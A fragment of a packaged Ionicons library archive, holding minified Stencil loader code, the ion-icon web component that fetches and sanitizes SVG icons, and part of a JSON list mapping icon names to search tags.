o=this.ot.createElement("style");if(u){var f=i.bt+"-"+this.ft;n["s-sc"]=f,this.ct.set(n,o),this.at.set(n,function c(n,t){var r=n.Qn.map(function(r){return"string"==typeof r?U(r,n.bt,t):r}),e=n.qn.map(function(r){return Object.assign({},r,{selector:U(r.selector,n.bt,t)})});return Object.assign({},n,{Qn:r,qn:e,bt:t})}(i,f)),this.ft++}else i.nt=o,i.Vn||(o.innerHTML=A(i.Qn,{})),this.st.push(i),this.ht(),this.at.set(n,i);return o},n.prototype.Wn=function(n){var t=this.ct.get(n);t&&t.remove(),this.ct.delete(n),this.at.delete(n)},n.prototype.wn=function(n){var t=this.at.get(n);if(t&&t.Vn&&t.bt){var r=this.ct.get(n);if(r){var e=T(function i(n,t,r){return function i(n){return n.sort(function(n,t){return n.Xn===t.Xn?n.Jn-t.Jn:n.Xn-t.Xn}),n}(P(r.concat(function e(n,t){for(var r=[];t;){var e=n.get(t);e&&r.push(e),t=t.parentElement}return r}(t,n))).filter(function(t){return function r(n,t){return n.matches(t)}(n,t.selector)}))}(n,this.at,this.st));r.innerHTML=A(t.Qn,e)}}},n.prototype.ht=function(){(function n(t){var r=T(P(t));t.forEach(function(n){n.Vn&&(n.nt.innerHTML=A(n.Qn,r))})})(this.st)},n.prototype.yt=function(n,t,r){var e=this.lt.get(t);return e||((e=D(n)).bt=r,this.lt.set(t,e)),e},n}(),gn=void 0;!function wn(n){return!!(n.CSS&&n.CSS.supports&&n.CSS.supports("color","var(--c)"))}(r)&&(gn=new bn(r,e)),function kn(n,t,r,e,i,u,f){function a(n,t){if(!r.customElements.get(n.a)){R[n.a]=!0,x(T,M[n.a]=n,t.prototype,u);var e=[];for(var i in n.v)n.v[i].d&&e.push(n.v[i].d);t.observedAttributes=e,r.customElements.define(n.a,t)}}function s(n,t){return null==n?null:j.get(n.replace(/^\.\//,""))}function l(n){return"exports"===n||"require"===n||!!s(n)}function v(n,t,r){var e={};try{r.apply(null,t.map(function(n){return"exports"===n?e:"require"===n?p:s(n)}))}catch(n){}void 0!==n&&(j.set(n,e),n&&!n.endsWith(".js")&&Object.keys(e).forEach(function(n){for(var t=n.replace(/-/g,"").toLowerCase(),r=Object.keys(M),i=0;i<r.length;i++)if(r[i].replace(/-/g,"").toLowerCase()===t){var u=M[r[i]];u&&(u.fn=e[n],c(0,u,u.En,u.fn.style,u.fn.styleMode));break}}))}function p(n,t){d(void 0,n,t)}function d(n,t,r){var e=t.filter(function(n){return!l(n)});e.forEach(function(n){w(i+n.replace(".js",".es5.js"))}),$.push([n,t,r]),0===e.length&&function u(){for(var n=$.length-1;n>=0;n--){var t=$[n],r=t[0],e=t[1],i=t[2];e.every(l)&&!l(r)&&($.splice(n,1),v(r,e,i))}}()}function b(n,t){var r=!W.dn;w(i+n+(r?".sc":"")+".es5.entry.js")}function w(n){function t(){clearTimeout(r),e.onerror=e.onload=null,W.D(e),E.delete(n)}var r,e;E.has(n)||(E.add(n),(e=W.A("script")).charset="utf-8",e.async=!0,e.src=n,r=setTimeout(t,12e4),e.onerror=e.onload=t,W.T(W.Tn.head,e))}var M={html:{}},$=[],j=new Map,E=new Set,O={},S=r[n]=r[n]||{},W=function A(n,t,r){n.ael||(n.ael=function(n,t,r,e){return n.addEventListener(t,r,e)},n.rel=function(n,t,r,e){return n.removeEventListener(t,r,e)});var e=new WeakMap;"function"!=typeof t.CustomEvent&&(t.CustomEvent=function(n,t,e){return(e=r.createEvent("CustomEvent")).initCustomEvent(n,t.bubbles,t.cancelable,t.detail),e},t.CustomEvent.prototype=t.Event.prototype);var i={Tn:r,dn:!!r.documentElement.attachShadow,gt:!1,H:function(n){return n.nodeType},A:function(n){return r.createElement(n)},W:function(n,t){return r.createElementNS(n,t)},S:function(n){return r.createTextNode(n)},wt:function(n){return r.createComment(n)},I:function(n,t,r){return n.insertBefore(t,r)},D:function(n){return n.remove()},T:function(n,t){return n.appendChild(t)},O:function(n,t){if(n.classList)n.classList.add(t);else if("svg"===n.nodeName.toLowerCase()){var r=n.getAttribute("class")||"";r.split(" ").includes(t)||(r+=" "+t),n.setAttribute("class",r.trim())}},P:function(n){return n.childNodes},U:function(n){return n.parentNode},F:function(n){return n.nextSibling},G:function(n){return n.previousSibling},q:function(n){return z(n.nodeName)},K:function(n){return n.textContent},_:function(n,t){return n.textContent=t},Y:function(n,t){return n.getAttribute(t)},kt:function(n,t,r){return n.setAttribute(t,r)},Mt:function(n,t,r,e){return n.setAttributeNS(t,r,e)},y:function(n,t){return n.removeAttribute(t)},g:function(n,t){return n.hasAttribute(t)},jn:function(t){return t.getAttribute("mode")||(n.Context||{}).mode},$t:function(n,e){return"child"===e?n.firstElementChild:"parent"===e?i.B(n):"body"===e?r.body:"document"===e?r:"window"===e?t:n},w:function(t,r,u,o,f,c,a,s){var l=r,v=t,p=e.get(t);if(p&&p[l]&&p[l](),"string"==typeof c?v=i.$t(t,c):"object"==typeof c?v=c:(s=r.split(":")).length>1&&(v=i.$t(t,s[0]),r=s[1]),v){var h=u;(s=r.split(".")).length>1&&(r=s[0],h=function(n){n.keyCode===Y[s[1]]&&u(n)}),a=i.gt?{capture:!!o,passive:!!f}:!!o,n.ael(v,r,h,a),p||e.set(t,p={}),p[l]=function(){v&&n.rel(v,r,h,a),p[l]=null}}},k:function(n,t){var r=e.get(n);r&&(t?r[t]&&r[t]():Object.keys(r).forEach(function(n){r[n]&&r[n]()}))},jt:function(n,r,e){return n&&n.dispatchEvent(new t.CustomEvent(r,e))},B:function(n,t){return(t=i.U(n))&&11===i.H(t)?t.host:t},On:function(n,t){return n.attachShadow(t)}};return i}(S,r,e);t.isServer=t.isPrerender=!(t.isClient=!0),t.window=r,t.location=r.location,t.document=e,t.resourcesUrl=t.publicPath=i,S.h=y,S.Context=t;var R=r["s-defined"]=r["s-defined"]||{},N=0,T={b:W,Et:a,Ot:t.emit,gn:f,l:function(n){return M[W.q(n)]},ln:function(n){return t[n]},isClient:!0,R:function(n){return!(!R[W.q(n)]&&!T.l(n))},pn:function(n,t,r){},$n:function(){return n+N++},xt:function(n){return function t(n,r,e){return{create:C(n,r,e,"create"),componentOnReady:C(n,r,e,"componentOnReady")}}(W,O,n)},queue:t.queue=function L(n,t){function r(t){return function(r){t.push(r),p||(p=!0,n.raf(u))}}function e(n){for(var t=0;t<n.length;t++)try{n[t](o())}catch(n){}n.length=0}function i(n,t){for(var r,e=0;e<n.length&&(r=o())<t;)try{n[e++](r)}catch(n){}e===n.length?n.length=0:0!==e&&n.splice(0,e)}function u(){v++,e(a);var t=o()+7*Math.ceil(v*(1/22));i(s,t),i(l,t),s.length>0&&(l.push.apply(l,s),s.length=0),(p=a.length+s.length+l.length>0)?n.raf(u):v=0}var o=function(){return t.performance.now()},f=Promise.resolve(),c=[],a=[],s=[],l=[],v=0,p=!1;return n.raf||(n.raf=t.requestAnimationFrame.bind(t)),{tick:function(n){c.push(n),1===c.length&&f.then(function(){return e(c)})},read:r(a),write:r(s)}}(S,r),Cn:function P(n,t,r){var e="string"==typeof n.Ct?n.Ct:n.Ct[t.mode];s(e)?k(T,t):($.push([void 0,[e],function(){k(T,t)}]),f&&U?U.push(function(){return b(e)}):b(e))},en:!1,yn:!1,L:!1,on:new WeakMap,St:new WeakMap,Mn:new WeakMap,Sn:new WeakMap,Rn:new WeakMap,N:new WeakMap,cn:new WeakMap,hn:new WeakMap,un:new WeakMap,in:new WeakMap,rn:new WeakMap,An:new WeakMap,Wt:new WeakMap,bn:new WeakMap,an:new WeakMap,tn:new Set,kn:[]};S.onReady=function(){return new Promise(function(n){return T.queue.write(function(){return T.tn.size?T.kn.push(n):n()})})},T.render=h(T,W);var D=W.Tn.documentElement;D["s-ld"]=[],D["s-rn"]=!0,D["s-init"]=function(){T.N.set(D,S.loaded=T.en=!0),W.jt(r,"appload",{detail:{namespace:n}})},function I(n,t,r){var e,i,u,o,f,c,a=r.querySelectorAll("["+B+"]"),s=a.length;if(s>0)for(n.N.set(r,!0),o=0;o<s;o++)for(e=a[o],i=t.Y(e,B),(u={}).vtag=t.q(u.M=e),n.bn.set(e,u),f=0,c=e.childNodes.length;f<c;f++)m(t,e.childNodes[f],u,i,!0)}(T,W,D),S.loadBundle=d;var U=[];f&&f.vt().then(function(){for(;U.length;)U.shift()();U=null}),T.mn=function(n,t,r,e){(function i(n,t,r,e){var i=r.a+e.mode,u=r[i];if((2===r.En||1===r.En&&!n.b.dn)&&(e["s-sc"]=u?o(r,e.mode):o(r)),u||(u=r[i=r.a+F]),u){var f=t.Tn.head;if(t.dn)if(1===r.En)f=e.shadowRoot;else for(var c=e;c=t.U(c);)if(c.host&&c.host.shadowRoot){f=c.host.shadowRoot;break}var a=n.St.get(f);if(a||n.St.set(f,a={}),!a[i]){var s=void 0;if(n.gn?s=n.gn.mt(e,i,u):((s=t.A("style")).innerHTML=u,a[i]=!0),s){var l=f.querySelectorAll("[data-styles]");t.I(f,s,l.length&&l[l.length-1].nextSibling||f.firstChild)}}}})(n,t,r,e)},(S.components||[]).map(function(n){var t=function r(n){var t=n[0],r=n[1],e=n[3],i=n[4],u=n[5],o={color:{d:"color"}};if(e)for(var f=0;f<e.length;f++){var c=e[f];o[c[0]]={Nn:c[1],p:!!c[2],d:"string"==typeof c[3]?c[3]:c[3]?c[0]:0,m:c[4]}}return{a:t,Ct:r,v:Object.assign({},o),En:i,At:u?u.map(g):void 0}}(n);return M[t.a]=t}).forEach(function(n){function t(n){return HTMLElement.call(this,n)}t.prototype=Object.create(HTMLElement.prototype,{constructor:{value:t,configurable:!0}}),a(n,t)}),function q(n,t,r,e,i,u){if(t.componentOnReady=function(t,r){if(!t.nodeName.includes("-"))return r(null),!1;var e=n.l(t);if(e)if(n.N.has(t))r(t);else{var i=n.An.get(t)||[];i.push(r),n.An.set(t,i)}return!!e},i){for(u=i.length-1;u>=0;u--)t.componentOnReady(i[u][0],i[u][1])&&i.splice(u,1);for(u=0;u<e.length;u++)if(!r[e[u]].componentOnReady)return;for(u=0;u<i.length;u++)i[u][1](null);i.length=0}}(T,S,r,r["s-apps"],r["s-cr"]),S.initialized=!0}(u,i,r,e,resourcesUrl,hydratedCssClass,gn)})(window,document,Context,namespace);
})({},"ionicons","hydrated");ionicons/esckjbl8.entry.js000064400000010410151701353760011574 0ustar00/*! Built with http://stenciljs.com */
const{h:t}=window.ionicons;function e(t,e,i,s){return e=(e||"md").toLowerCase(),i&&"ios"===e?t=i.toLowerCase():s&&"md"===e?t=s.toLowerCase():t&&(t=t.toLowerCase(),/^md-|^ios-|^logo-/.test(t)||(t=`${e}-${t}`)),"string"!=typeof t||""===t.trim()?null:""!==t.replace(/[a-z]|-|\d/gi,"")?null:t}function i(t){return"string"==typeof t&&(t=t.trim()).length>0&&/(\/|\.)/.test(t)?t:null}class s{constructor(){this.isVisible=!1,this.lazy=!1}componentWillLoad(){this.waitUntilVisible(this.el,"50px",()=>{this.isVisible=!0,this.loadIcon()})}componentDidUnload(){this.io&&(this.io.disconnect(),this.io=void 0)}waitUntilVisible(t,e,i){if(this.lazy&&this.win&&this.win.IntersectionObserver){const s=this.io=new this.win.IntersectionObserver(t=>{t[0].isIntersecting&&(s.disconnect(),this.io=void 0,i())},{rootMargin:e});s.observe(t)}else i()}loadIcon(){if(!this.isServer&&this.isVisible){const t=this.getUrl();t&&function(t,e,i){let s=n.get(e);return s||(s=fetch(e,{cache:"force-cache"}).then(t=>t.ok?t.text():Promise.resolve(null)).then(e=>(function(t,e,i){if(e){const i=t.createDocumentFragment(),s=t.createElement("div");s.innerHTML=e,i.appendChild(s);for(let t=s.childNodes.length-1;t>=0;t--)"svg"!==s.childNodes[t].nodeName.toLowerCase()&&s.removeChild(s.childNodes[t]);const n=s.firstElementChild;if(n&&"svg"===n.nodeName.toLowerCase()&&(n.setAttribute("class","s-ion-icon"),function t(e){if(1===e.nodeType){if("script"===e.nodeName.toLowerCase())return!1;for(let t=0;t<e.attributes.length;t++){const i=e.attributes[t].value;if("string"==typeof i&&0===i.toLowerCase().indexOf("on"))return!1}for(let i=0;i<e.childNodes.length;i++)if(!t(e.childNodes[i]))return!1}return!0}(n)))return s.innerHTML}return""})(t,e)),n.set(e,s)),s}(this.doc,t).then(t=>this.svgContent=t)}if(!this.ariaLabel){const t=e(this.name,this.mode,this.ios,this.md);t&&(this.ariaLabel=t.replace("ios-","").replace("md-","").replace(/\-/g," "))}}getUrl(){let t=i(this.src);return t||((t=e(this.name,this.mode,this.ios,this.md))?this.getNamedUrl(t):(t=i(this.icon))?t:(t=e(this.icon,this.mode,this.ios,this.md))?this.getNamedUrl(t):null)}getNamedUrl(t){return`${this.resourcesUrl}svg/${t}.svg`}hostData(){return{role:"img",class:Object.assign({},(t=this.color,t?{"ion-color":!0,[`ion-color-${t}`]:!0}:null),{[`icon-${this.size}`]:!!this.size})};var t}render(){return t("div",!this.isServer&&this.svgContent?{class:"icon-inner",innerHTML:this.svgContent}:{class:"icon-inner"})}static get is(){return"ion-icon"}static get encapsulation(){return"shadow"}static get properties(){return{ariaLabel:{type:String,attr:"aria-label",reflectToAttr:!0,mutable:!0},color:{type:String,attr:"color"},doc:{context:"document"},el:{elementRef:!0},icon:{type:String,attr:"icon",watchCallbacks:["loadIcon"]},ios:{type:String,attr:"ios"},isServer:{context:"isServer"},isVisible:{state:!0},lazy:{type:Boolean,attr:"lazy"},md:{type:String,attr:"md"},mode:{type:String,attr:"mode"},name:{type:String,attr:"name",watchCallbacks:["loadIcon"]},resourcesUrl:{context:"resourcesUrl"},size:{type:String,attr:"size"},src:{type:String,attr:"src",watchCallbacks:["loadIcon"]},svgContent:{state:!0},win:{context:"window"}}}static get style(){return":host{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}:host(.ion-color){color:var(--ion-color-base)!important}:host(.icon-small){font-size:var(--ion-icon-size-small,18px)!important}:host(.icon-large){font-size:var(--ion-icon-size-large,32px)!important}.icon-inner,svg{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}:host(.ion-color-primary){--ion-color-base:var(--ion-color-primary, #3880ff)}:host(.ion-color-secondary){--ion-color-base:var(--ion-color-secondary, #0cd1e8)}:host(.ion-color-tertiary){--ion-color-base:var(--ion-color-tertiary, #f4a942)}:host(.ion-color-success){--ion-color-base:var(--ion-color-success, #10dc60)}:host(.ion-color-warning){--ion-color-base:var(--ion-color-warning, #ffce00)}:host(.ion-color-danger){--ion-color-base:var(--ion-color-danger, #f14141)}:host(.ion-color-light){--ion-color-base:var(--ion-color-light, #f4f5f8)}:host(.ion-color-medium){--ion-color-base:var(--ion-color-medium, #989aa2)}:host(.ion-color-dark){--ion-color-base:var(--ion-color-dark, #222428)}"}}const n=new Map;export{s as IonIcon};ionicons/data.json000064400000062477151701353760010221 0ustar00{"icons":[{"icons":["ios-add-circle-outline","md-add-circle-outline"],"tags":["circle"]},{"icons":["ios-add-circle","md-add-circle"],"tags":["add","circle"]},{"icons":["ios-add","md-add"],"tags":["add","include","invite","plus"]},{"icons":["ios-airplane","md-airplane"],"tags":["airplane","plane"]},{"icons":["ios-alarm","md-alarm"],"tags":["alarm"]},{"icons":["ios-albums","md-albums"],"tags":["albums","boxes","slides","square"]},{"icons":["ios-alert","md-alert"],"tags":["!","alert","attention","exclamation","notice","warning"]},{"icons":["ios-american-football","md-american-football"],"tags":["american","football"]},{"icons":["ios-analytics","md-analytics"],"tags":["analytics","data","metrics","track"]},{"icons":["ios-aperture","md-aperture"],"tags":["aperture","dark","images","levels","light","settings"]},{"icons":["ios-apps","md-apps"],"tags":["apps","applications"]},{"icons":["ios-appstore","md-appstore"],"tags":["appstore","store"]},{"icons":["ios-archive","md-archive"],"tags":["archive","email"]},{"icons":["ios-arrow-back","md-arrow-back"],"tags":["arrow","back","chevron","navigation"]},{"icons":["ios-arrow-down","md-arrow-down"],"tags":["arrow","chevron","down"]},{"icons":["ios-arrow-dropdown-circle","md-arrow-dropdown-circle"],"tags":["arrow","circle","dropdown"]},{"icons":["ios-arrow-dropdown","md-arrow-dropdown"],"tags":["arrow","dropdown"]},{"icons":["ios-arrow-dropleft-circle","md-arrow-dropleft-circle"],"tags":["arrow","circle","dropleft"]},{"icons":["ios-arrow-dropleft","md-arrow-dropleft"],"tags":["arrow","dropleft"]},{"icons":["ios-arrow-dropright-circle","md-arrow-dropright-circle"],"tags":["arrow","circle","dropright"]},{"icons":["ios-arrow-dropright","md-arrow-dropright"],"tags":["arrow","dropright"]},{"icons":["ios-arrow-dropup-circle","md-arrow-dropup-circle"],"tags":["arrow","circle","dropup"]},{"icons":["ios-arrow-dropup","md-arrow-dropup"],"tags":["arrow","dropup"]},{"icons":["ios-arrow-forward","md-arrow-forward"],"tags":["arrow","chevron","forward","navigation"]},{"icons":["ios-arrow-round-back","md-arrow-round-back"],"tags":["arrow","back","round"]},{"icons":["ios-arrow-round-down","md-arrow-round-down"],"tags":["arrow","down","round"]},{"icons":["ios-arrow-round-forward","md-arrow-round-forward"],"tags":["arrow","forward","round"]},{"icons":["ios-arrow-round-up","md-arrow-round-up"],"tags":["arrow","round","up"]},{"icons":["ios-arrow-up","md-arrow-up"],"tags":["arrow","chevron","up"]},{"icons":["ios-at","md-at"],"tags":["@","at"]},{"icons":["ios-attach","md-attach"],"tags":["attach"]},{"icons":["ios-backspace","md-backspace"],"tags":["backspace"]},{"icons":["ios-barcode","md-barcode"],"tags":["barcode","camera","reader"]},{"icons":["ios-baseball","md-baseball"],"tags":["baseball"]},{"icons":["ios-basket","md-basket"],"tags":["basket"]},{"icons":["ios-basketball","md-basketball"],"tags":["basketball"]},{"icons":["ios-battery-charging","md-battery-charging"],"tags":["battery","charging"]},{"icons":["ios-battery-dead","md-battery-dead"],"tags":["battery","dead"]},{"icons":["ios-battery-full","md-battery-full"],"tags":["battery","full"]},{"icons":["ios-beaker","md-beaker"],"tags":["beaker","flask","mixture","potion"]},{"icons":["ios-bed","md-bed"],"tags":["bed","sleep"]},{"icons":["ios-beer","md-beer"],"tags":["beer","drink","eat","food"]},{"icons":["ios-bicycle","md-bicycle"],"tags":["bicycle"]},{"icons":["ios-bluetooth","md-bluetooth"],"tags":["bluetooth","cloud","connection"]},{"icons":["ios-boat","md-boat"],"tags":["boat"]},{"icons":["ios-body","md-body"],"tags":["body"]},{"icons":["ios-bonfire","md-bonfire"],"tags":["bonfire","heat","hot"]},{"icons":["ios-book","md-book"],"tags":["book","read"]},{"icons":["ios-bookmark","md-bookmark"],"tags":["bookmark","favorite","save","tag"]},{"icons":["ios-bookmarks","md-bookmarks"],"tags":["bookmarks","favorite"]},{"icons":["ios-bowtie","md-bowtie"],"tags":["bowtie"]},{"icons":["ios-briefcase","md-briefcase"],"tags":["briefcase","folder","organize"]},{"icons":["ios-browsers","md-browsers"],"tags":["browsers","square"]},{"icons":["ios-brush","md-brush"],"tags":["brush"]},{"icons":["ios-bug","md-bug"],"tags":["bug","develop","error","hacker","program"]},{"icons":["ios-build","md-build"],"tags":["build"]},{"icons":["ios-bulb","md-bulb"],"tags":["bulb"]},{"icons":["ios-bus","md-bus"],"tags":["bus"]},{"icons":["ios-business","md-business"],"tags":["business"]},{"icons":["ios-cafe","md-cafe"],"tags":["cafe"]},{"icons":["ios-calculator","md-calculator"],"tags":["arithmatic","calculator","math"]},{"icons":["ios-calendar","md-calendar"],"tags":["calendar","date","month","week"]},{"icons":["ios-call","md-call"],"tags":["call","telephone"]},{"icons":["ios-camera","md-camera"],"tags":["camera","image","photo"]},{"icons":["ios-car","md-car"],"tags":["car"]},{"icons":["ios-card","md-card"],"tags":["$","card","cash","credit","debit","dollars","money","price","shopping"]},{"icons":["ios-cart","md-cart"],"tags":["cart"]},{"icons":["ios-cash","md-cash"],"tags":["$","cash","credit","debit","dollars","money","price","shopping"]},{"icons":["ios-cellular","md-cellular"],"tags":["cellular"]},{"icons":["ios-chatboxes","md-chatboxes"],"tags":["chatboxes","talk"]},{"icons":["ios-chatbubbles","md-chatbubbles"],"tags":["chatbubbles","talk"]},{"icons":["ios-checkbox-outline","md-checkbox-outline"],"tags":["checkbox"]},{"icons":["ios-checkbox","md-checkbox"],"tags":["checkbox"]},{"icons":["ios-checkmark-circle-outline","md-checkmark-circle-outline"],"tags":["checkmark"]},{"icons":["ios-checkmark-circle","md-checkmark-circle"],"tags":["checkmark","circle"]},{"icons":["ios-checkmark","md-checkmark"],"tags":["checkmark"]},{"icons":["ios-clipboard","md-clipboard"],"tags":["clipboard","write"]},{"icons":["ios-clock","md-clock"],"tags":["clock","time"]},{"icons":["ios-close-circle-outline","md-close-circle-outline"],"tags":["close","cicle"]},{"icons":["ios-close-circle","md-close-circle"],"tags":["circle","close"]},{"icons":["ios-close","md-close"],"tags":["close","delete","remove"]},{"icons":["ios-cloud-circle","md-cloud-circle"],"tags":["circle","cloud"]},{"icons":["ios-cloud-done","md-cloud-done"],"tags":["cloud","done"]},{"icons":["ios-cloud-download","md-cloud-download"],"tags":["cloud","download","storage"]},{"icons":["ios-cloud-outline","md-cloud-outline"],"tags":["cloud"]},{"icons":["ios-cloud-upload","md-cloud-upload"],"tags":["cloud","storage","upload"]},{"icons":["ios-cloud","md-cloud"],"tags":["cloud","storage","weather","whether"]},{"icons":["ios-cloudy-night","md-cloudy-night"],"tags":["cloudy","night","overcast","weather","whether"]},{"icons":["ios-cloudy","md-cloudy"],"tags":["cloudy","overcast","weather","whether"]},{"icons":["ios-code-download","md-code-download"],"tags":["code","develop","download","hacker","program"]},{"icons":["ios-code-working","md-code-working"],"tags":["code","develop","hacker","program","working"]},{"icons":["ios-code","md-code"],"tags":["code","develop","hacker","program"]},{"icons":["ios-cog","md-cog"],"tags":["cog","gear","options","settings"]},{"icons":["ios-color-fill","md-color-fill"],"tags":["color","fill"]},{"icons":["ios-color-filter","md-color-filter"],"tags":["color","filter"]},{"icons":["ios-color-palette","md-color-palette"],"tags":["color","palette"]},{"icons":["ios-color-wand","md-color-wand"],"tags":["color","wand"]},{"icons":["ios-compass","md-compass"],"tags":["compass","directions","location","navigation"]},{"icons":["ios-construct","md-construct"],"tags":["construct"]},{"icons":["ios-contact","md-contact"],"tags":["contact","people","users"]},{"icons":["ios-contacts","md-contacts"],"tags":["contacts","people","users"]},{"icons":["ios-contract","md-contract"],"tags":["contract"]},{"icons":["ios-contrast","md-contrast"],"tags":["contrast","dark","images","levels","light","settings"]},{"icons":["ios-copy","md-copy"],"tags":["copy","duplicate","paper"]},{"icons":["ios-create","md-create"],"tags":["create"]},{"icons":["ios-crop","md-crop"],"tags":["crop"]},{"icons":["ios-cube","md-cube"],"tags":["box","container","cube","square"]},{"icons":["ios-cut","md-cut"],"tags":["cut"]},{"icons":["ios-desktop","md-desktop"],"tags":["desktop"]},{"icons":["ios-disc","md-disc"],"tags":["cd","disc","vinyl"]},{"icons":["ios-document","md-document"],"tags":["document","file","paper"]},{"icons":["ios-done-all","md-done-all"],"tags":["all","done"]},{"icons":["ios-download","md-download"],"tags":["download","export"]},{"icons":["ios-easel","md-easel"],"tags":["easel"]},{"icons":["ios-egg","md-egg"],"tags":["baby","bird","birth","egg","twitter"]},{"icons":["ios-exit","md-exit"],"tags":["exit"]},{"icons":["ios-expand","md-expand"],"tags":["expand"]},{"icons":["ios-eye-off","md-eye-off"],"tags":["eye","off"]},{"icons":["ios-eye","md-eye"],"tags":["exposed","eye","look","see","view"]},{"icons":["ios-fastforward","md-fastforward"],"tags":["fastforward","jump","next","skip"]},{"icons":["ios-female","md-female"],"tags":["dudette","female","girl","lady"]},{"icons":["ios-filing","md-filing"],"tags":["archive","filing"]},{"icons":["ios-film","md-film"],"tags":["film"]},{"icons":["ios-finger-print","md-finger-print"],"tags":["finger","print"]},{"icons":["ios-fitness","md-fitness"],"tags":["fitness"]},{"icons":["ios-flag","md-flag"],"tags":["favorite","flag","marker"]},{"icons":["ios-flame","md-flame"],"tags":["fire","flame","heat","hot"]},{"icons":["ios-flash-off","md-flash-off"],"tags":["flash"]},{"icons":["ios-flash","md-flash"],"tags":["flash","lightning","weather","whether"]},{"icons":["ios-flashlight","md-flashlight"],"tags":["flashlight"]},{"icons":["ios-flask","md-flask"],"tags":["bubbles","flask","mixture","potion"]},{"icons":["ios-flower","md-flower"],"tags":["flower"]},{"icons":["ios-folder-open","md-folder-open"],"tags":["folder","open"]},{"icons":["ios-folder","md-folder"],"tags":["file","folder"]},{"icons":["ios-football","md-football"],"tags":["football","soccer"]},{"icons":["ios-funnel","md-funnel"],"tags":["funnel","sort"]},{"icons":["ios-gift","md-gift"],"tags":["gift"]},{"icons":["ios-git-branch","md-git-branch"],"tags":["branch","git"]},{"icons":["ios-git-commit","md-git-commit"],"tags":["commit","git"]},{"icons":["ios-git-compare","md-git-compare"],"tags":["compare","git"]},{"icons":["ios-git-merge","md-git-merge"],"tags":["git","merge"]},{"icons":["ios-git-network","md-git-network"],"tags":["git","network"]},{"icons":["ios-git-pull-request","md-git-pull-request"],"tags":["git","pull","request"]},{"icons":["ios-glasses","md-glasses"],"tags":["glasses","look","reading","see","steve"]},{"icons":["ios-globe","md-globe"],"tags":["globe"]},{"icons":["ios-grid","md-grid"],"tags":["grid","menu"]},{"icons":["ios-hammer","md-hammer"],"tags":["hammer","options","settings","tools"]},{"icons":["ios-hand","md-hand"],"tags":["hand","stop"]},{"icons":["ios-happy","md-happy"],"tags":["fun","good","happy","like","yes"]},{"icons":["ios-headset","md-headset"],"tags":["headset"]},{"icons":["ios-heart","md-heart"],"tags":["heart","love"]},{"icons":["ios-heart-dislike","md-heart-dislike"],"tags":["dislike","heart","love"]},{"icons":["ios-heart-empty","md-heart-empty"],"tags":["empty","heart","love"]},{"icons":["ios-heart-half","md-heart-half"],"tags":["half","heart","love"]},{"icons":["ios-help-buoy","md-help-buoy"],"tags":["?","buoy","help","question"]},{"icons":["ios-help-circle-outline","md-help-circle-outline"],"tags":["help"]},{"icons":["ios-help-circle","md-help-circle"],"tags":["circle","help"]},{"icons":["ios-help","md-help"],"tags":["?","help","information","question"]},{"icons":["ios-home","md-home"],"tags":["home","house"]},{"icons":["ios-hourglass","md-hourglass"],"tags":["hourglass"]},{"icons":["ios-ice-cream","md-ice-cream"],"tags":["cream","ice"]},{"icons":["ios-image","md-image"],"tags":["camera","image","photo"]},{"icons":["ios-images","md-images"],"tags":["images","photo"]},{"icons":["ios-infinite","md-infinite"],"tags":["forever","infinite","loop"]},{"icons":["ios-information-circle-outline","md-information-circle-outline"],"tags":["information"]},{"icons":["ios-information-circle","md-information-circle"],"tags":["circle","information"]},{"icons":["ios-information","md-information"],"tags":["help","information","knowledge"]},{"icons":["ios-jet","md-jet"],"tags":["fly","jet","plane"]},{"icons":["ios-journal","md-journal"],"tags":["journal"]},{"icons":["ios-key","md-key"],"tags":["access","key"]},{"icons":["ios-keypad","md-keypad"],"tags":["keypad","type"]},{"icons":["ios-laptop","md-laptop"],"tags":["apple","laptop","macbook","osx"]},{"icons":["ios-leaf","md-leaf"],"tags":["green","leaf","nature","plant","recycle"]},{"icons":["ios-link","md-link"],"tags":["anchor","attach","chain","href","link"]},{"icons":["ios-list-box","md-list-box"],"tags":["box","list"]},{"icons":["ios-list","md-list"],"tags":["list"]},{"icons":["ios-locate","md-locate"],"tags":["gps","locate","maps","navigate"]},{"icons":["ios-lock","md-lock"],"tags":["lock"]},{"icons":["ios-log-in","md-log-in"],"tags":["in","log","signin"]},{"icons":["ios-log-out","md-log-out"],"tags":["log","out","signout"]},{"icons":["ios-magnet","md-magnet"],"tags":["attraction","magnet","sticky"]},{"icons":["ios-mail-open","md-mail-open"],"tags":["mail","open"]},{"icons":["ios-mail-unread","md-mail-unread"],"tags":["mail","unread"]},{"icons":["ios-mail","md-mail"],"tags":["email","mail"]},{"icons":["ios-male","md-male"],"tags":["boy","dude","guy","male","male"]},{"icons":["ios-man","md-man"],"tags":["boy","dude","guy","male","man"]},{"icons":["ios-map","md-map"],"tags":["gps","map","navigation","pin"]},{"icons":["ios-medal","md-medal"],"tags":["medal"]},{"icons":["ios-medical","md-medical"],"tags":["medical"]},{"icons":["ios-medkit","md-medkit"],"tags":["case","disease","firstaid","health","medkit","sick"]},{"icons":["ios-megaphone","md-megaphone"],"tags":["megaphone"]},{"icons":["ios-menu","md-menu"],"tags":["menu"]},{"icons":["ios-mic-off","md-mic-off"],"tags":["mic","noise","off","sound","speaker","talk"]},{"icons":["ios-mic","md-mic"],"tags":["mic","noise","sound","speaker","talk"]},{"icons":["ios-microphone","md-microphone"],"tags":["microphone","music","noise","recorde","sound","speak"]},{"icons":["ios-moon","md-moon"],"tags":["dark","moon","night","sky"]},{"icons":["ios-more","md-more"],"tags":["more","options"]},{"icons":["ios-move","md-move"],"tags":["move"]},{"icons":["ios-musical-note","md-musical-note"],"tags":["listening","musical","noise","note","play","sound"]},{"icons":["ios-musical-notes","md-musical-notes"],"tags":["listening","musical","noise","notes","play","sound"]},{"icons":["ios-navigate","md-navigate"],"tags":["gps","location","map","navigate","pin"]},{"icons":["ios-notifications-off","md-notifications-off"],"tags":["notifications","off"]},{"icons":["ios-notifications-outline","md-notifications-outline"],"tags":["notifications"]},{"icons":["ios-notifications","md-notifications"],"tags":["notifications"]},{"icons":["ios-nuclear","md-nuclear"],"tags":["danger","hazard","nuclear","warning"]},{"icons":["ios-nutrition","md-nutrition"],"tags":["nutrition"]},{"icons":["ios-open","md-open"],"tags":["open"]},{"icons":["ios-options","md-options"],"tags":["options"]},{"icons":["ios-outlet","md-outlet"],"tags":["computer","digital","electricity","outlet"]},{"icons":["ios-paper-plane","md-paper-plane"],"tags":["paper","plane"]},{"icons":["ios-paper","md-paper"],"tags":["feed","paper","paper"]},{"icons":["ios-partly-sunny","md-partly-sunny"],"tags":["partl